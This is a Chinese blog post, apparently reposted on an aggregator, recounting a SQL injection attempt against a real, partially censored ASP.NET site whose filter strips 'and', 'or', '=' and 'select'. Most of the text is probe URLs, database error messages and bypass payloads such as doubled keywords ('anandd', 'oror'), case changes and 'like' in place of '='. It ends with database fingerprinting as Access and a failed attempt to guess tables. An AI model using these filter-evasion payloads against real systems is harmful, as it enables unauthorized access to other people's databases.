过滤'and','or' ''' '*' '=' ‘select’下的注入

Posted mrhonest

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了过滤'and','or' ''' '*' '=' ‘select’下的注入相关的知识,希望对你有一定的参考价值。

遇到一个站:http://www.马赛克.net/intro.aspx?id=6

加了单引号  http://www.马赛克.net/intro.aspx?id=6‘  页面无变化

加了双引号   http://www.马赛克.net/intro.aspx?id=6"  报错

符串的语法错误 在查询表达式 ‘intro_type=(select intro_type from  tab_intro_info where id=6" ) order by id_sort‘ 中。

可以看到  注入点 在()中

测试   and 1=1     and 1=2   or 1=1   报错

语法错误。 在查询表达式 ‘intro_type=(select intro_type from  tab_intro_info where id=6  11 )‘ 中

可以看到   and  or  = 等关键字 被”吃掉了“

经测试  并没有进行循环查找过滤 and or 等字符

绕后方法   anandd   oror     And(大小写)

http://www.马赛克.net/intro.aspx?id=6 anandd 1=1  返回正常

http://www.马赛克.net/intro.aspx?id=6 anandd 1=2  返回也正常

因为知道 = 也被“吃掉”了  所以用 ‘like‘ 代替

http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 1  返回正常

http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 2  返回也正常

--------------------

http://www.马赛克.net/intro.aspx?id=6 anandd  exists(select id from sysobjects)   报错  select 也被“吃掉”了

语法错误。 在查询表达式 ‘intro_type=(select intro_type from  tab_intro_info where id=6 and exists( id from sysobjects) )‘ 中。

紧接着,我在在数据库版本上花了很多时间   第一直觉认为是 aspx + mssql 组合

然后在绕过语句上测试了很多,无法绕后,后来从猜测数据库类型开始猜    得出结论是 access数据库

--------------------

知道了绕过方法,和数据库类型,剩下的就是猜数据了,不过由于字典不给里  并未猜出任何表(除了报错时显示的“tab_intro_info”),任何数据

由于表的组合比较变态  tab_intro_info 也就没有继续猜下去

以上是关于过滤'and','or' ''' '*' '=' ‘select’下的注入的主要内容,如果未能解决你的问题,请参考以下文章

Python中的逻辑运算符:'and'与'or'的用法

SQL学习05——高级数据过滤

sql 中and 和or的用法,请指导,谢谢

sql注入之大过滤

BugKu——Web——成绩查询

php SQL语句有and也有or应该怎么处理呢?